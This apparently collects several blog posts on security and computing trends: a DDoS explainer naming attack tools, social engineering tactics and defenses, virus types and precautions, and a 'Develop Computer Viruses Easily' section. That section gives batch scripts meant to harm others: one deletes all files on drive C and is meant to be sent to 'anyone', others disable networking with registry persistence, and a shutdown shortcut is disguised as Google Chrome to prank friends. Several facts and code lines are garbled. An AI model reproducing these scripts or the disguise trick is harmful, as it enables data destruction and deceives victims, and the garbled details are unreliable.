DDoS Attack - Working and Tools

DDoS Attack

What is DDoS Attack?

• Distributed denial of service (DDoS) attacks is a subclass of denial of service (DoS) attacks. A DDoS attack involves multiple connected online devices, collectively known as a Botnet, which is used to overwhelm a target website with fake traffic.

• A distributed denial-of-service (DDoS) attack is a malicious attempt to disrupt normal traffic of a targeted server, service or network by overwhelming the target or its surrounding infrastructure with a flood of Internet traffic.

• From a high level, a DDoS attack is like a traffic jam clogging up with the highway, preventing regular traffic from arriving at its desired destination.

Difference Between DoS and DDoS Attack?

In a DoS attack, a perpetrator uses a single Internet connection to either exploit a software vulnerability or flood a target with fake requests—usually in an attempt to exhaust server resources (e.g., RAM and CPU).

On the other hand, distributed denial of service (DDoS) attacks is launched from multiple connected devices that are distributed across the Internet. These multi-person, multi-device barrages are generally harder to deflect, mostly due to the sheer volume of devices involved. Unlike single-source DoS attacks.

DDoS attacks also differ in the manner of their execution. Broadly speaking, DoS attacks are launched using homebrewed scripts or DoS tools (e.g., Low Orbit Ion Canon), while DDoS attacks are launched from botnets — large clusters of connected devices (e.g., cell phones, PCs or routers) infected with malware that allows remote control by an attacker.

How does a DDoS attack work?

A DDoS attack requires an attacker to gain control of a network of online machines in order to carry out an attack. Computers and other machines (such as IoT devices) are infected with malware, turning each one into a bot (or zombie). The attacker then has remote control over the group of bots, which is called a botnet.

Once a botnet has been established, the attacker is able to direct the machines by sending updated instructions to each bot via a method of remote control. When the IP address of a victim is targeted by the botnet, each bot will respond by sending requests to the target, potentially causing the targeted server or network to overflow capacity, resulting in a denial-of-service to normal traffic. Because each bot is a legitimate Internet device, separating the attack traffic from normal traffic can be difficult.

What are common types of DDoS attacks?

Different DDoS attack vectors target varying components of a network connection. In order to understand how different DDoS attacks work, it is necessary to know how a network connection is made. A network connection on the Internet is composed of many different components or “layers”. Like building a house from the ground up, each step in the model has a different purpose. The OSI model, shown below, is a conceptual framework used to describe network connectivity in 7 distinct layers.

There are 3 Types of Attacks  -

1. Application Layer attack

2. Protocol Attack

3. Volumetric Attack

Tools Used in DoS/DDoS Attacks -

1. Slowloris

2. LOIC ( Low Orbit Ion Cannon )

3. GoldenEye

4. HOIC ( High Orbit Ion Cannon )

5. XOIC

6. RUDY ( R U Dead Yet ? )

7. TOR's Hammer

8. THC-SSL-DoS

9. Pyloris

10. HULK ( Http Unbreakable Load King )

Andriod Tools -

1. AnDOSid

2. LIOC

Latest Trends in Computer Science

LATEST TRENDS IN COMPUTER SCIENCE

Quoting J. Ullman “Computer Science is a science of abstraction -creating the right model for a problem and devising the appropriate merchandisable techniques to solve it.” This quote clearly describes the real essence of computer science.

The new areas that have been catching the attention of researchers in the field of Computer Science recently but rather lately are as mentioned below -

1. ARTIFICIAL INTELLIGENCE

With the global robotics industry forecast to be worth US$38 billion by 2018, a large portion of this growth is down to the strength of interest and investment in artificial intelligence (AI) – one of the most controversial and intriguing areas of computer science research. 

The technology is still in its early stages, but tech giants like Facebook, Google and IBM are investing huge amounts of money and resources into AI research. 

There’s certainly no shortage of opportunities to develop real-world applications of the technology, and there’s immense scope for break-through moments in this field.

AI has changed over time, but at the core, there has always been the idea of building machines which are capable of thinking like humans.

Systems such as IBM’s Watson cognitive computing platform use high-level simulations of human neurological processes to carry out an ever-growing range of tasks without being specifically taught how to do them.

2. BIOINFORMATICS

A fascinating application of big data, bioinformatics, or the use of programming and software development to build enormous datasets of biological information for research purposes, carries enormous potential. 

Linking big pharma companies with software companies, bioinformatics is growing in demand and offers good job prospects for computer science researchers and graduates interested in biology, medical technology, pharmaceuticals and computer information science.  

Bioinformaticians develop systems to gather data. A key aspect of bioinformatics is the creation of data algorithms and specialized computer software to identify and classify components of a biological system, such as DNA and protein sequences. They consult with other scientists and researchers to analyze data sets.

Here biological Problems are solved using computer codes. Therefore, Bioinformatics career opportunities are mainly based on Research and doing masters in Bioinformatics, perhaps would get you a job with a high paid salary.

3. BIG DATA ANALYTICS

Back in 2012, the Harvard Business Review branded data science the ‘sexiest job’ of the 21 century. Yes, you read that correctly. 

There has been a surge in demand for experts in this field and doubled efforts on the part of brands and agencies to boost salaries and attract data science talents. 

From banking to healthcare, big data analytics is everywhere, as companies increasingly attempt to make better use of the enormous datasets they have, in order to personalize and improve their services.

Big data analytics helps organizations harness their data and use it to identify new opportunities. That, in turn, leads to smarter business moves, more efficient operations, higher profits and happier customers.

Hadoop is an open-source software framework for storing data and running applications on clusters of commodity hardware.

4. Virtual Reality and Augmented Reality

After 2016 VR promises to be the tipping point, as VR technologies reach a critical mass of functionality, reliability, ease of use, affordability, and availability. 

Augmented reality (AR) adds digital elements to a live view often by using the camera on a smartphone. Virtual reality (VR) implies a complete immersion experience that shuts out the physical world.

Movie studios are partnering with VR vendors to bring content to market. News organizations are similarly working with VR companies to bring immersive experiences of news directly into the home, including live events.

The stage is set for broad adoption of VR beyond entertainment and gaming — to the day when VR will help change the physical interface between man and machine, propelling a world so far only envisioned in science fiction. 

At the same time, the use of augmented reality (AR) is expanding. Whereas VR replaces the actual physical world, AR is a live direct or indirect view of a physical, real-world environment whose elements are augmented (or supplemented) by computer-generated sensory input, such as sound, video, graphics or GPS data. 

With the help of advanced AR technology (e.g., adding computer vision and object recognition), the information about the surrounding real world of the user becomes interactive and can be manipulated digitally.

5. EDGE COMPUTING

Edge computing allows data produced by the internet of things (IoT) devices to be processed closer to where it is created instead of sending it across long routes to data centers or clouds.

Doing this computing closer to the edge of the network lets organizations analyze important data in near real-time – a need of organizations across many industries, including manufacturing, healthcare, telecommunications, and finance.

Edge computing is a “mesh network of microdata centers that process or store critical data locally and push all received data to a central data center or cloud storage repository, in a footprint of less than 100 square feet,” according to research firm IDC.

“In most scenarios, the presumption that everything will be in the cloud with a strong and stable fat pipe between the cloud and the edge device – that’s just not realistic,” says Helder Antunes, senior director of corporate strategic innovation at Cisco.

There is just a basic knowledge about the trends and you can grow even more by searching more on the internet.

Social Engineering - Tactics and Preventions

SOCIAL ENGINEERING

What is Social Engineering?

• Social engineering is the term used for a broad range of malicious activities accomplished through human interactions.

• It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.

• Social engineering is the art of manipulating users of a computing system into revealing confidential information that can be used to gain unauthorized access to a computer system. 

• The term can also include activities such as exploiting human kindness, greed, and curiosity to gain access to restricted access buildings or getting the users into installing backdoor software.

Note - What makes social engineering especially dangerous is that it relies on human error, rather than vulnerabilities in software and operating systems.

What are some examples of what social engineers say or do?Criminals will often take weeks and months getting to know a place before even coming in the door or making a phone call. Their preparation might include finding a company phone list or org chart and researching employees on social networking sites like LinkedIn or Facebook. 

There are three ways to do it in an organization are -

1. On Phone Call 

2. In Office

3. Online

SOCIAL ENGINEERING ATTACK TECHNIQUESSocial engineering attacks come in many different forms and can be performed anywhere where human interaction is involved. The following are the five most common forms of digital social engineering assaults.

1. Baiting 

Baiting attacks use a false promise to pique a victim’s greed or curiosity. They lure users into a trap that steals their personal information or inflicts their systems with malware.

2. Scareware

Scareware involves victims being bombarded with false alarms and fictitious threats. Users are deceived to think their system is infected with malware, prompting them to install software that has no real benefit (other than for the perpetrator) or is malware itself. Scareware is also referred to as deception software, rogue scanner software, and fraudwares.

3. Pretexting

Here an attacker obtains information through a series of cleverly crafted lies. The scam is often initiated by a perpetrator pretending to need sensitive information from a victim so as to perform a critical task.

The attacker usually starts by establishing trust with their victim by impersonating co-workers, police, bank and tax officials, or other persons who have right-to-know authority. The pretexter asks questions that are ostensibly required to confirm the victim’s identity, through which they gather important personal data.

4. Phishing

As one of the most popular social engineering attack types, phishing scams are email and text message campaigns aimed at creating a sense of urgency, curiosity or fear in victims. It then prods them into revealing sensitive information, clicking on links to malicious websites, or opening attachments that contain malware.

5. Spear Phishing

This is a more targeted version of the phishing scam whereby an attacker chooses specific individuals or enterprises. They then tailor their messages based on characteristics, job positions, and contacts belonging to their victims to make their attack less conspicuous. Spear Phishing requires much more effort on behalf of the perpetrator and may take weeks and months to pull off. They’re much harder to detect and have better success rates if done skillfully.

NOTE - To perform social engineering attacks for educational purpose you can use Social Engineering Toolkit (SET) in Kali Linux.

How to Defend Yourself from Social Engineers?

Social engineers manipulate human feelings, such as curiosity or fear, to carry out schemes and draw victims into their traps. Therefore, be wary whenever you feel alarmed by an email, attracted to an offer displayed on a website, or when you come across stray digital media lying about. Being alert can help you protect yourself against most social engineering attacks taking place in the digital realm.

• Don’t open emails and attachments from suspicious sources – If you don’t know the sender in question, you don’t need to answer an email. Even if you do know them and are suspicious about their message, cross-check and confirm the news from other sources, such as via telephone or directly from a service provider’s site. Remember that email addresses are spoofed all of the time; even an email purportedly coming from a trusted source may have actually been initiated by an attacker.
• Use multifactor authentication – One of the most valuable pieces of information attackers seek are user credentials. Using multifactor authentication helps ensure your account’s protection in the event of system compromise. Imperva Incapsula Login Protect is an easy-to-deploy 2FA solution that can increase account security for your applications.
• Be wary of tempting offers – If an offer sounds too enticing, think twice before accepting it as fact. Googling the topic can help you quickly determine whether you’re dealing with a legitimate offer or a trap.
• Keep your antivirus/antimalware software updated – Make sure automatic updates are engaged, or make it a habit to download the latest signatures first thing each day. Periodically check to make sure that the updates have been applied, and scan your system for possible infections.

Develop Computer Viruses Easily

DEVELOPMENT COMPUTER VIRUSES

1. Dangerous Virus

    

   1. Copy this Code in notepad and Save this File as (.bat).

    @Echo off
    Del C: *.* |y

   

   2. Send it to anyone and see what happens.

   3. You can modify it by replacing drive letters as C to D or more.

2. A Virus that Stops Internet Access.

    

   1. Copy this code and Save it as (.bat).

  

     @echo off

    ipconfig/release

   2. To make it correct just open cmd and type - ipconfig/renew.

3. Shutdown virus

You can also create a virus that can shut down computers. Well, this virus is harmless but can cause data loss due to sudden shutdown.

Step 1. First of all, right click on your desktop and then choose the option “Create Shortcut”

Shutdown virus

Step 2. Now in the pop-up window type in -s -t 60 -c “Virus Detection. The computer is shutting down.” Instead of 60, you can put what value you want. It represents the time in seconds.

Shutdown virus

Step 3. Then click on the Next button and type chrome. Or whatever you want.

Shutdown virus

Step 4. Then you need to change the icon of the shortcut, choose the icon of Google Chrome.

Shutdown virus

Your virus will look like Google Chrome. You can carry this file in your Pendrive and can shut down your friends’ computer.

4. Disable internet permanently

   The Following code can disable the internet permanently.

    echo @echo off>c:windowswimn32.bat
    echo break off>c:windowswimn32.bat echo
    ipconfig/release_all>c:windowswimn32.bat
    echo end>c:windowswimn32.batreg add
   hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v      WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
   hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v         CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have          Been HACKED!
    PAUSE

5. Endless open any program.

   1. Copy this code with the location of the program in the windows drive.

    @ECHO off     :top     START %SystemRoot%\system32\notepad.exe     GOTO top

6. Create Unlimited no. of Folders.

    

   1. Copy this code in notepad and save as (.bat).

  @echo off  :x
  md %random%
  /folder.
  goto x

Similarly, You can create the virus in C/C++ also which will directly access the system.

Computer Virus - Types and Precautions

VIRUS - TYPES AND PRECAUTIONS

A Virus is a malicious software program "Malware" that can infect a computer by modifying or deleting data files, boot sector of the hard disk drive or cause a software to work in an unexpected manner.

A computer virus resides on a host computer and can replicate itself when executed. The virus can steal user data, record keystrokes & web sessions of a user.

Cause of Virus -

The following are the main causes of a Computer Virus.

1. Infected Flash Drives or Disks

Flash drives and disks are the main cause of spreading viruses. A virus can also be copied from one computer to other when the user copies infected files using flash drives and disks.

2. Email Attachments

Most of the viruses spread through emails. The email attachment is a file that is sent along with an email. An email may contain an infected file attachment. The virus can spread if the users open and download an email attachment. It may harm the computer when it is activated. It may destroy files on the hard disk or may send the virus automatically to all email addresses saved in the address book.

3. Infected / Pornography websites

Thousands of insecure websites can infect the computer with viruses. Most of the websites with pornographic materials are infected, so by visiting these websites the user’s computer also gets infected by a virus. These websites are developed to spread viruses or other unethical material. The virus is transferred to the user’s computer when this material is downloaded. These websites may access the computer automatically when the users visit them.

4. Networks

The virus can spread if an infected computer is connected to a the network. The internet is an example of such network. When a user downloads a file infected with a virus from the internet, the virus is copied to the computer. It may infect the files stored on the computer.

5. Pirated Softwares

An illegal copy of the software is called pirated software. A virus can spread if a user installs pirated software that contains a virus. A variety of pirated software is available in CDs and from the internet. Some companies intentionally add virus in the software. The virus is automatically activated if the user uses the software without purchasing a license.

Types of Virus -

There are various types of virus known to this time are -

1. Boot Sector Virus

Even though this virus has now become obsolete, it still pops out in one way or the other. This virus got attention when floppy disks were used to boot a computer. In modern computers, this virus could appear on the “Master Boot Record”. In the partitioned storage device of your computer, it is the first sector to take place. However, thanks to the fact evolution of the Internet, the threat of this virus is now mitigated.

2. Web Scripting Virus

Similar to the hyperlinks that we used in Microsoft Word, many websites rest on codes to provide engaging content to their users. For example, since the trends of watching videos online have now become very popular – more than 2 Billion Videos are streamed on Facebook every day, these videos also execute a specific code. 

These codes can be exploited and it is very troublesome to note that this exploitation has taken place on some very notable sites. All the hackers have to do it to leave a comment in the Comments Section of the website which contains that code. Thus, even without the Webmaster knowing it, the code gets exerted into the site.

3. Browser Hijacker

Ever faced a problem where the homepage of your web page gets automatically directed to a particular site? Well, that is the most common way by which this ransomware hijacks your browser.

While its visual effects might epitomize the threat, this hijacker is nothing more than a tactic to increase income from web ads. 

4. Resident Virus

After inserting itself directing into the memory of your system, this virus has the capability to take a number of actions. One of its more troublesome features is its ability to run away. Leaving behind the file which was originally infected, this virus has the ability to run on its own.

5. Direct Action Virus

Similar to the Vienna virus which shocked computers in 1998, this virus comes into action after you have executed the file. The load is delivered to your computer and the virus becomes active.

However, this virus has a limitation. It takes no action unless the file which is infected gets implemented again.

6. Polymorphic Virus

One of the factors that epitomize the usefulness of this virus is its ability to evade. The Antivirus programs that are enabled on our computers detect the presence of any virus by detecting its code.

The polymorphic virus has exploited this limitation beautifully as it changes its code every time the infected file is executed. Thus, it becomes nearly impossible for any ordinary antivirus to track it down.

7. File Infector Virus

Although the word “file” in its name might suggest otherwise, this virus does not take the help of files every time. In fact, the file is only the starting point as the file infector dwarfs the first file after which it re-writes the file.

8. Multipartite Virus

If you have read carefully the aforementioned viruses, you might have noticed that they use two methods for their transmission. Either they use one method or a single payload is delivered.

However, this virus wants to claim both. Depending upon the operating system of your computer or the files that exist on your computer, it might use any of the two methods to spread.

9. Macro Virus

Appearing in the form of a word document which seemingly links the user to pornographic websites, Melissa is one of the most known Micro Virus. Going one step further, this virus not only exploits the user but also his/her friends by mailing the copies of the infected virus document to the contact list.

Some Common Well-known Viruses are -

1. Code Red

It is a worm that infects a computer running Microsoft IIS server. This virus launched DOS attack on White House’s website. It allows the hacker to access the infected computer remotely.

2. Nimba

It is a worm that spreads itself using different methods. IT damages the computer in different ways. It modified files, alters security settings and degrades performance.

3. SirCam

It is distributed as an email attachment. It may delete files, degrade performance and send the files to anyone.

4. Melisa

It is a virus that is distributed as an email attachment. IT disables different safeguards in MS Word. It sends itself to 50 people if Microsoft Outlook is installed.

5. Ripper

It corrupts data from the hard disk.

6. MDMA

It is transferred from one MS Word file to other if both files are in memory.

7. Concept

It is also transferred as an email attachment. It saves the file in template directory instead of its original location.

8. One_Half

It encrypts hard disk so only the virus may read the data. It displays One_Half on the screen when the encryption is half completed.

Protection from Computer Virus

The virus infects computer system if the latest and updated version of an Antivirus program is not installed. Latest Antivirus software should be installed on Computer to protect it from viruses. 

A computer system can be protected from the virus by following these precautions.

1. The latest and updated version of Anti-Virus and firewall should be installed on the computer.
2. The Anti-Virus software must be upgraded regularly.
3. USB drives should be scanned for viruses, and should not be used on infected computers.
4. Junk or unknown emails should not be opened and must be deleted straight away.
5. Unauthorized or pirated software should not be installed on the computer.
6. An important way of protection against the virus is the use of back up of data. The backup is used if the virus deletes data or modifies it. So back up your data on regular basis. There is some great software that can back up your data automatically.
7. Freeware and shareware software from the internet normally contain viruses. It is important to check the software before using them.
8. Your best protection is your common sense. Never click on suspicious links, never download songs, videos or files from suspicious websites. Never share your personal data with people you don’t know over the internet.

Here is a Small Tutorial about How to make Simple Viruses - Click this Link